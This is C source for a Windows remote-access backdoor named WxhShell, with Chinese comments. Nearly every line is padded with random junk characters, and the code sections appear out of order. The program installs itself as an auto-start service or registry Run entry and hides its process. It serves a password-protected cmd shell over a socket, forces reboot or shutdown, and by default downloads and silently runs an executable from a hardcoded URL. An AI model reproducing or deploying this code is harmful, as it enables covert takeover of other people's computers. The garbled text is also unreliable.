    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BR&T,x/d  
    if(Boot(SHUTDOWN)) &6]+a4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5x$/.U  
    else { ggluQGA  
    closesocket(wsh); RLnsy,  
    ExitThread(0); 05sWN0  
    } ` =ocr8c  
    break; $;O-1# ]  
    } :r4]8X-  
  // 获取shell Q 6>7{\8l  
  case 's': { (pBPf  
    CmdShell(wsh); 3k YVk  
    closesocket(wsh); ku2g FO  
    ExitThread(0); TtZZjeg+V  
    break; > L5fc".  
  } -dRnozs6W  
  // 退出 hKkUsY=R  
  case 'x': { C\-Abq c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K)-Gv|*t  
    CloseIt(wsh); M't~/&D#  
    break; \R!.VL3Tx$  
    } U2Uf69R  
  // 离开 @B.;V=8wJ  
  case 'q': { SW94(4qo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^oZz,q  
    closesocket(wsh); }Iyr u3M][  
    WSACleanup(); j@w+>h  
    exit(1); :S['hBMN  
    break; Drn{ucIs  
        } ~Onj| w7  
  } m7~<z>5$  
  } "hE/f~\  
#=}dv8  
  // 提示信息 5,Q3#f~!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 33R1<dRk  
} F'v3caE  
  } C(=$0FIR  
6}V)\"u&   
  return; g Kp5*  
} $q"/q*ys  
\>B$x@-wg  
// shell模块句柄 SH oov  
int CmdShell(SOCKET sock) "-y 2En  
{ _oV;Y`_  
STARTUPINFO si; xgdS]Sz  
ZeroMemory(&si,sizeof(si)); PpxLMe]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ffv v8x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fX:)mLnO/  
PROCESS_INFORMATION ProcessInfo; n;Nr[hI  
char cmdline[]="cmd"; 'zRi ;:UHA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t:NYsL  
  return 0; i8h(b2odQ  
} uTWij4)a  
LnwI 7uvq  
// 自身启动模式 @yGK $<R  
int StartFromService(void) JYAtQTOR  
{ v?s]up @@h  
typedef struct bF85T(G  
{ Y)Os]<N1  
  DWORD ExitStatus; g6s&nH`Z2  
  DWORD PebBaseAddress; }3b3^f  
  DWORD AffinityMask; P#8+GN+bF  
  DWORD BasePriority; d`XC._%^J  
  ULONG UniqueProcessId; CMcS4X9/}  
  ULONG InheritedFromUniqueProcessId; ^| b]E  
}   PROCESS_BASIC_INFORMATION; ZqDanDM  
FnZMW, P  
PROCNTQSIP NtQueryInformationProcess; %OV)O-  
jX9{Ki"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g9T9TQ-O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1WTDF  
eX{:&Do  
  HANDLE             hProcess; B4&K2;fg_  
  PROCESS_BASIC_INFORMATION pbi; xr;:gz!h  
35;UE2d)<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x|7vN E=Q  
  if(NULL == hInst ) return 0; {?!0<0  
/k$H"'`j4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wzn!BgxRr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JU6PBY~C'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HsF8$C$z  
kVqRl%/3Tb  
  if (!NtQueryInformationProcess) return 0; f;PPB@ :`$  
#Epx'$9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~ z< &vQ=  
  if(!hProcess) return 0; /'[m6zm]  
(Yv)%2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <FkoWN  
x;F^7c1  
  CloseHandle(hProcess); #"T< mM7  
ORc20NFy7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T?DX|?2X  
if(hProcess==NULL) return 0; J2KULXF  
K3;lst>4  
HMODULE hMod; f%g^6[  
char procName[255]; San=E@3}v!  
unsigned long cbNeeded; I,nW~;OV0  
|riP*b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W1$<,4j@M  
HCCEIgCT  
  CloseHandle(hProcess); &|'t>-de,  
en5sqKqh+  
if(strstr(procName,"services")) return 1; // 以服务启动 w,s++bV;L  
+L]$M)*0&  
  return 0; // 注册表启动 TV['"'D&i  
} cu@i;Hb@  
4/Mi-ls_  
// 主模块 IAl X^6s*  
int StartWxhshell(LPSTR lpCmdLine) liuw!  
{ yu~o9  
  SOCKET wsl; AeZ__X  
BOOL val=TRUE; /uNgftj  
  int port=0; kp$w)%2JW  
  struct sockaddr_in door; (v@)nv]U  
zK_+UT  
  if(wscfg.ws_autoins) Install(); 82>90e(CH]  
iPuX  
port=atoi(lpCmdLine); ]zt77'J  
jG E=7  
if(port<=0) port=wscfg.ws_port; {\ P`-'C  
%x]8^vze  
  WSADATA data; h{5K9$9=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h,!#YG@>  
Mx]![O.ye  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .^F(&c*['  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6F)^8s02h  
  door.sin_family = AF_INET; 2C &G' @>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f)b+>!  
  door.sin_port = htons(port); oRALhaI  
er%D`VHe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p!_3j^"{  
closesocket(wsl); C@ns`Eh8w  
return 1; N}/|B}  
} Y+kfMAv  
oR1HJ2>Z1  
  if(listen(wsl,2) == INVALID_SOCKET) { :ot^bAyt|  
closesocket(wsl); li +MnLt  
return 1; *pP&$!bH%  
} ';>A=m9(4%  
  Wxhshell(wsl); M#CYDEB  
  WSACleanup(); hh1 ?/  
|({ M8!BS  
return 0; |RS(QU<QE  
Mnx')([;W  
} [vV5@nP:  
cOz/zD f5  
// 以NT服务方式启动 xaw)iC[gI{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `({ Bi!%i  
{ )/{zTg8$?/  
DWORD   status = 0; @}oY6cW;B*  
  DWORD   specificError = 0xfffffff; 6oA2"!u^w  
v*[oe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -KA Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "pa2,-&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \}p!S$`  
  serviceStatus.dwWin32ExitCode     = 0; :5DL&,,Q3  
  serviceStatus.dwServiceSpecificExitCode = 0; |H%[tkW6c  
  serviceStatus.dwCheckPoint       = 0; \v]esIP5R'  
  serviceStatus.dwWaitHint       = 0; N0POyd/rL  
 D_D76  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !*1Kjg3  
  if (hServiceStatusHandle==0) return; >DSD1i+N  
d&x #9ka  
status = GetLastError(); ,ej89  
  if (status!=NO_ERROR)  d  H ;  
{ x Rp;y*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4F=cER6l  
    serviceStatus.dwCheckPoint       = 0; /qwl;_Jcf  
    serviceStatus.dwWaitHint       = 0; 9[@K4&  
    serviceStatus.dwWin32ExitCode     = status; ri?k}XnhX  
    serviceStatus.dwServiceSpecificExitCode = specificError; H~ `JAplr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W3M1> (  
    return; 5B)z}g^h  
  } 3X>x`  
->S# `"@$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w40 -K5wt>  
  serviceStatus.dwCheckPoint       = 0; )xxpO$  
  serviceStatus.dwWaitHint       = 0; B(t`$mC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AC}[Q p!  
} N, SbJ Z  
M8y:FDX  
// 处理NT服务事件,比如:启动、停止 7ZR0cJw;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] i:WP2  
{ DPg\y".4Y&  
switch(fdwControl) WV?3DzeR  
{ 0vjlSHS;`.  
case SERVICE_CONTROL_STOP: .kf FaK  
  serviceStatus.dwWin32ExitCode = 0; ~C31=\$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |1/UC"f  
  serviceStatus.dwCheckPoint   = 0; ?"Ec#,~  
  serviceStatus.dwWaitHint     = 0; 5fjL  
  { ;QS(`SK l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HD~o]l=H  
  } *I<L1g%9d  
  return; 5==hyIy  
case SERVICE_CONTROL_PAUSE: 4 >`2vb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?qJt4Om  
  break; k,h /B  
case SERVICE_CONTROL_CONTINUE: $Le|4Hj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J-U5_>S  
  break; (ptk!u6  
case SERVICE_CONTROL_INTERROGATE:  &peUC n  
  break; !3;KC"o  
}; jM5w<T-2/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < pWk   
} s,|"s|P  
Tg yY 9  
// 标准应用程序主函数 KSgYf;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (`)ZR %i  
{ S-2@:E  
vhE^jS<Tg  
// 获取操作系统版本 M$$Lsb [  
OsIsNt=GetOsVer(); (CR]96n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kD\7wz,ui  
yLgv<%8f  
  // 从命令行安装 oU)Hco"_k  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5i1E 5@~  
Hpj7EaMZ_  
  // 下载执行文件 A?+cdbxJw  
if(wscfg.ws_downexe) { w^Atd|~gi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ESyb34T`  
  WinExec(wscfg.ws_filenam,SW_HIDE); bB+ 4  
} TJ_pMU  
qx f8f  
if(!OsIsNt) { VXP@)\!  
// 如果时win9x,隐藏进程并且设置为注册表启动 r>_40+|&  
HideProc(); "STd ;vR  
StartWxhshell(lpCmdLine); cUj^aTpm  
} svRYdInBNu  
else C-tkYP  
  if(StartFromService()) YwU[kr-i  
  // 以服务方式启动 *o}7&Hw#9f  
  StartServiceCtrlDispatcher(DispatchTable); r~YxtBZH+  
else xtFGj,N  
  // 普通方式启动 a\ZNNk  
  StartWxhshell(lpCmdLine); c1sVdM}|  
G/N1[)  
return 0; E2i'lO\P  
} :>K8oE  
5#U=x ,7e  
mkuK$Mj  
sIzy/W0iV  
=========================================== _~.S~;o!b  
SQ la]%  
3,yzRb  
+[2ep"5H  
r) g:-[Ox9  
QX$3"AZ~  
" |crm{]7X  
'1"vwXJ"  
#include <stdio.h> Q" G;L  
#include <string.h> L>&9+<-B  
#include <windows.h> y`\rb<AZ*t  
#include <winsock2.h> #<DS-^W!  
#include <winsvc.h> W|(U} PrC  
#include <urlmon.h> jidRh}>a=  
yYiu69v  
#pragma comment (lib, "Ws2_32.lib") V*gh"gZ<  
#pragma comment (lib, "urlmon.lib") _c>8y  
VQ8Q=!]  
#define MAX_USER   100 // 最大客户端连接数 4u= v  
#define BUF_SOCK   200 // sock buffer 2" u,f  
#define KEY_BUFF   255 // 输入 buffer PW+B&7{  
0]xp"xOwW  
#define REBOOT     0   // 重启 MW|R)gt  
#define SHUTDOWN   1   // 关机 +vIsYg*#2M  
cRv#aV  
#define DEF_PORT   5000 // 监听端口 7;9 Jn  
|3G;Rh9w,  
#define REG_LEN     16   // 注册表键长度  vg8Yc  
#define SVC_LEN     80   // NT服务名长度 }"M5"?  
k]rc -c-  
// 从dll定义API [Om,Q<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a5?Yh<cJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a= (vS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Vx_$E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1ZY~qP+n+  
`r]C%Y4?  
// wxhshell配置信息 CU@}{}Yl  
struct WSCFG { {a0yHy$H  
  int ws_port;         // 监听端口 e2kW,JV/<$  
  char ws_passstr[REG_LEN]; // 口令 H'}6Mw%ra  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3fxcH  
  char ws_regname[REG_LEN]; // 注册表键名 L&0aS:  
  char ws_svcname[REG_LEN]; // 服务名 oQ}K_}{>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nd }Z[)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]G Blads  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6w~Cyu4Ov  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 06e dVIRr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A<+1:@0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VIg6'  
a U*}.{<!  
}; #, h0K  
W3jwc{lj  
// default Wxhshell configuration c7D{^$L9 v  
struct WSCFG wscfg={DEF_PORT, 1#9PE(!2  
    "xuhuanlingzhe", S$ k=70H  
    1, <m~{60{  
    "Wxhshell", zKT4j1 h  
    "Wxhshell", [qU`}S2  
            "WxhShell Service", Dt\rrN:v  
    "Wrsky Windows CmdShell Service", beB3*o  
    "Please Input Your Password: ", [\rzXE  
  1, ]3~ u @6  
  "http://www.wrsky.com/wxhshell.exe", 1A[(RT]  
  "Wxhshell.exe" VfwH:  
    }; 6!SW]#sD  
O8~RfB  
// 消息定义模块 L{oG'aK4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &ET$ca`j#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Z3{D:-)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0U8'dYf  
char *msg_ws_ext="\n\rExit."; 2"c5<  
char *msg_ws_end="\n\rQuit."; nl~ Z,Y$  
char *msg_ws_boot="\n\rReboot..."; R '8S)'l  
char *msg_ws_poff="\n\rShutdown..."; 7CH.BY  
char *msg_ws_down="\n\rSave to "; 3taGb>15  
^6J*:(eM  
char *msg_ws_err="\n\rErr!"; *4%%^*g.I  
char *msg_ws_ok="\n\rOK!"; A0OA7m:~4  
Eihy|p  
char ExeFile[MAX_PATH]; "]|7%]  
int nUser = 0; 7A h   
HANDLE handles[MAX_USER]; LTB rg[X  
int OsIsNt; Bg}l$?S  
BkP4.XRI  
SERVICE_STATUS       serviceStatus; ;*0nPhBw0>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2.vmZaKP  
11c\C Iu  
// 函数声明 Yr>0Qg],  
int Install(void); =R"LB}>h}  
int Uninstall(void); eL.WP`Lz  
int DownloadFile(char *sURL, SOCKET wsh); E#,\[<pc  
int Boot(int flag); +d7 Arg!m  
void HideProc(void); aKE`nA0\B  
int GetOsVer(void); /pV N1Yt  
int Wxhshell(SOCKET wsl); 3D^cPkX  
void TalkWithClient(void *cs); qHT73_R  
int CmdShell(SOCKET sock); }=Xlac_U  
int StartFromService(void); gAVD-]`  
int StartWxhshell(LPSTR lpCmdLine); !c dY`f6x  
zszmG^W{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mdh]qKw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +v$W$s&b-h  
0+u >"7T  
// 数据结构和表定义  v7Ps-a)  
SERVICE_TABLE_ENTRY DispatchTable[] = H23 O]r  
{ sPVE_n  
{wscfg.ws_svcname, NTServiceMain}, ,SNt*t1"  
{NULL, NULL} 3hxV`rb  
}; 6}VFob#h8  
e=aU9v L  
// 自我安装 V.6pfL  
int Install(void) <sw=:HU  
{ iSUu3Yv,_m  
  char svExeFile[MAX_PATH]; "Q:h[)a  
  HKEY key; W;l0GxOxQ  
  strcpy(svExeFile,ExeFile); L62%s[  
xR8.1T?8  
// 如果是win9x系统,修改注册表设为自启动 ,p /{!BX  
if(!OsIsNt) { bub6{MQW8e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^do6?e`?-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fFYoZ/\  
  RegCloseKey(key); h&n1}W+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HVhP |+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MT:VQ>f C  
  RegCloseKey(key);  UO#`Ak  
  return 0; QleVW  
    } z@w}+fYO  
  } JZ~wacDd  
} %n GjP^  
else { 4Gh\T`=  
<=D  a  
// 如果是NT以上系统,安装为系统服务 1e7I2g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ek U%^R<  
if (schSCManager!=0) (9kR'kr  
{ WUo\jm[yr  
  SC_HANDLE schService = CreateService `34{/ }w  
  ( /HS"{@Z"h  
  schSCManager, 0FY-e~xr  
  wscfg.ws_svcname, &%GAPs%  
  wscfg.ws_svcdisp, iK+Vla`}  
  SERVICE_ALL_ACCESS, Jp%5qBS^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8UXRM :Z"  
  SERVICE_AUTO_START, M_-L#FHX  
  SERVICE_ERROR_NORMAL, ipl,{  
  svExeFile, 6y1\ar(A  
  NULL, yTh%[k  
  NULL, (x?Tjyzw  
  NULL, 9thG4T8  
  NULL, psc Fb$b  
  NULL i;s;:{cn  
  ); Pr(@&:v:  
  if (schService!=0) { PJ>gX$  
  { Gk/cP`  
  CloseServiceHandle(schService); HZ2W`wo  
  CloseServiceHandle(schSCManager); {:#nrD"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >iRkhA=Vg  
  strcat(svExeFile,wscfg.ws_svcname); &"I csxG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dg"szJ-   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?FjnG_Uz`D  
  RegCloseKey(key); #p55/54ZI  
  return 0; XZM@Rys  
    } _H@ATut  
  } CaO-aL  
  CloseServiceHandle(schSCManager); J 7G-qF\  
} OXbShA&1  
} _ZFEo< `'  
;b~\ [  
return 1; yz=X{p1  
} 5oSp/M  
{jmy:e2  
// 自我卸载 FKz5,PeL  
int Uninstall(void) %Nv w`H  
{ >5:O%zQ@  
  HKEY key; Xa.8-a"hz  
z F.@rXl  
if(!OsIsNt) { Z+J4 q9^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PnaiSt9p?r  
  RegDeleteValue(key,wscfg.ws_regname); @sA!o[gH  
  RegCloseKey(key); 3Cc#{X-+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -~lq <M  
  RegDeleteValue(key,wscfg.ws_regname); ,xVAJ6_#  
  RegCloseKey(key); 3^~J;U!3  
  return 0; )"6-7ii7(f  
  } u;-fG9xs  
} L/exR6M7  
} A$5M.  
else { lV %1I@[M  
PWiUW{7z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OQB7C0+ &  
if (schSCManager!=0) =urGs`\  
{ nWY^?e'S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3u$1W@T(  
  if (schService!=0) `(0B09~7  
  { )3:0TFS}}k  
  if(DeleteService(schService)!=0) { _3yG<'f[Y  
  CloseServiceHandle(schService); #IM.7`I   
  CloseServiceHandle(schSCManager); CCe>*tdf  
  return 0; g'(bk@<BP  
  } P!eo#b^S  
  CloseServiceHandle(schService); 6>a6;[  
  } m9 h '!X<  
  CloseServiceHandle(schSCManager); > N~8#C  
} 35<A :jKS  
} O *sU|jeO  
EhcJE;S)  
return 1; `\kihNkJn3  
} a5 D|#9  
G,u=ngZ]  
// 从指定url下载文件 #S}orWj  
int DownloadFile(char *sURL, SOCKET wsh) B>,e HXW  
{ pHV^K v#  
  HRESULT hr; a+w2cN'  
char seps[]= "/"; ;M:AcQZ|_  
char *token; x'GB#svi  
char *file; zBF~:Uc`B  
char myURL[MAX_PATH]; Bm$|XS3cD  
char myFILE[MAX_PATH]; ^4dE8Ve"@  
hsC T:1i  
strcpy(myURL,sURL); T ozx0??)  
  token=strtok(myURL,seps); //R"ZE@d\  
  while(token!=NULL) Y{YbKKM  
  { )PX VR T  
    file=token; NJUKH1lIhR  
  token=strtok(NULL,seps); aZFpt/.d  
  } $D bnPZ2$  
17LhgZs&  
GetCurrentDirectory(MAX_PATH,myFILE); 5 ~Wg=u<6  
strcat(myFILE, "\\"); I |Oco?Q"  
strcat(myFILE, file); }Q\%tZC#T  
  send(wsh,myFILE,strlen(myFILE),0); q~ H>rC(\  
send(wsh,"...",3,0); x/*lNG/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); to={q CqU  
  if(hr==S_OK) 82r8K|L.<y  
return 0; -$Oh.B`i  
else 3_(_yEKx  
return 1; .WSyL  
1Cr&6't  
} ,"v&r(  
cU1o$NRx  
// 系统电源模块 LP2~UVq  
int Boot(int flag) E }L Hp  
{  F B]Y~;(  
  HANDLE hToken; Y|>dS8f;4  
  TOKEN_PRIVILEGES tkp; VoU8I ~  
{)[o*+9  
  if(OsIsNt) { u#0snw~)/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]}2)U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); akj<*,  
    tkp.PrivilegeCount = 1; GEBSUvM7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h0{X$&:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G@]3EP  
if(flag==REBOOT) { {{G)Ry*pb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FuhmLm'p  
  return 0; g'"~'  
} }w0pi  
else { kf, &t   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q+ax]=w  
  return 0; -l^<[%  
} AO#9XDEM  
  } Obs#2>h  
  else {  vy<W4  
if(flag==REBOOT) { +|A`~\@N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9vI~vl l  
  return 0; w"hd_8cO  
} ]Q^)9uE\D  
else { Cf% qap#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YT\`R  
  return 0; ;%e&6  
} 8z=# 0+0  
} _$~>O7  
7J'%;sH  
return 1; tl#sCf!c  
} Vk2$b{VdF  
wKJG 31I^  
// win9x进程隐藏模块 c%H' jB [  
void HideProc(void) K~W(ZmB  
{ EVmBLH-a  
6^`iuC5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [doEArwn  
  if ( hKernel != NULL ) X\^V{v^-  
  {  wJp<ZL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hnj\|6L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,9&cIUH  
    FreeLibrary(hKernel); !_fDL6a-  
  } WAu>p3   
Jf YgZ\#  
return; Kz HYh  
} lC<;Q*Y  
' zyw-1  
// 获取操作系统版本 }(EH5jZ'  
int GetOsVer(void) epy2}TI  
{ RGW@@  
  OSVERSIONINFO winfo; V_7\VKR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L\Se ,  
  GetVersionEx(&winfo); I8xdE(o8+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'l*X?ccKy  
  return 1; RQVu~7d[  
  else f%G\'q]#F  
  return 0; HNzxF nh  
} : auR0FE  
nY'V,v[F  
// 客户端句柄模块 xyL"U*  
int Wxhshell(SOCKET wsl) Z.VKG1e}  
{ T#!>mL|9|  
  SOCKET wsh; d |17G  
  struct sockaddr_in client; yw1 &I^7  
  DWORD myID; Xu$>$D# a  
wZvv5:jKpu  
  while(nUser<MAX_USER) -Vn#Ab_C  
{ g5V\R*{  
  int nSize=sizeof(client); kx,.)qKk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =p5DT  
  if(wsh==INVALID_SOCKET) return 1; ]#:WL)@  
mx Nd_{n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K%q5:9m  
if(handles[nUser]==0) rc_m{.b  
  closesocket(wsh); 3H2~?CaJ  
else z8\YMr 6o  
  nUser++; q/O2E<=w*c  
  } M2Q,&>M   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :_e[xB=Yy  
;aQ`` B  
  return 0; _ *f>UW*,  
} omE- c  
=AIts[!qd  
// 关闭 socket v[dU UR f  
void CloseIt(SOCKET wsh) dq 93P%X24  
{ ]?^V xB7L  
closesocket(wsh); adLL7  
nUser--; z33UER"  
ExitThread(0); CG1MT(V7?  
} }gbLWx'iG  
fyQOF ItM  
// 客户端请求句柄 yE}\4_0I/  
void TalkWithClient(void *cs) *b{IWOSe^  
{ VN`.*B|9[  
1!z{{H;W  
  SOCKET wsh=(SOCKET)cs; {JE [  
  char pwd[SVC_LEN]; IkCuw./  
  char cmd[KEY_BUFF]; U1 _"D+XB  
char chr[1]; VbX P7bZ  
int i,j; ] Lv3XMa  
o[Ffa# sE  
  while (nUser < MAX_USER) { |A&;m}(Mt  
dl4n -*h  
if(wscfg.ws_passstr) { DU^.5f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u*C*O4f>OC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M7=,J;@  
  //ZeroMemory(pwd,KEY_BUFF); u8-6s+ O  
      i=0; c p"K?)  
  while(i<SVC_LEN) { gUklP(T=u  
K(;qd Ir  
  // 设置超时 pGs?Y81  
  fd_set FdRead; 4*XNk;Dx  
  struct timeval TimeOut; |]7c&`  
  FD_ZERO(&FdRead); KqI:g*H'x7  
  FD_SET(wsh,&FdRead); w6BBu0,KC  
  TimeOut.tv_sec=8; D{(}&8a9  
  TimeOut.tv_usec=0; E;Z(v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^KhJBM/Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y`g oV  
:\^b6"}8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SkjG}  
  pwd=chr[0]; 2uj .*  
  if(chr[0]==0xd || chr[0]==0xa) { HE&)N clY  
  pwd=0; Fm`*j/rq  
  break; P@v"aa\@2)  
  } +[76_EXy  
  i++; ]0UYxv%]  
    } 7_\G|Zd  
s#^0[ Rt  
  // 如果是非法用户,关闭 socket  ZiPeP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6kAAdy}ck  
} :E9pdx+  
=Kj{wA O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZID-~ 6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , >7PG2 a  
'8 .JnCg  
while(1) { O>L,G)g  
DO~ D?/ia  
  ZeroMemory(cmd,KEY_BUFF); ;"M6}5dQ4  
8H7#[?F  
      // 自动支持客户端 telnet标准   k'8tcXs  
  j=0; F\eQV<  
  while(j<KEY_BUFF) { /9br&s$B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r^m&<)Ca  
  cmd[j]=chr[0]; r D@*xMW  
  if(chr[0]==0xa || chr[0]==0xd) { a3 }V/MY  
  cmd[j]=0; gvI!Ice#  
  break; r^5%0_F]  
  } 8i',~[  
  j++; I8XP`Ccq  
    } ^6 wWv&G[8  
sU>IETo  
  // 下载文件 P*KIk~J  
  if(strstr(cmd,"http://")) { t+v %%N_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D>|`+=1'0"  
  if(DownloadFile(cmd,wsh)) )Fx]LeI;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ."wF86jW|  
  else !h #ZbErW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B@*b 9  
  } #LR4%}mg  
  else { ~u&gU1}  
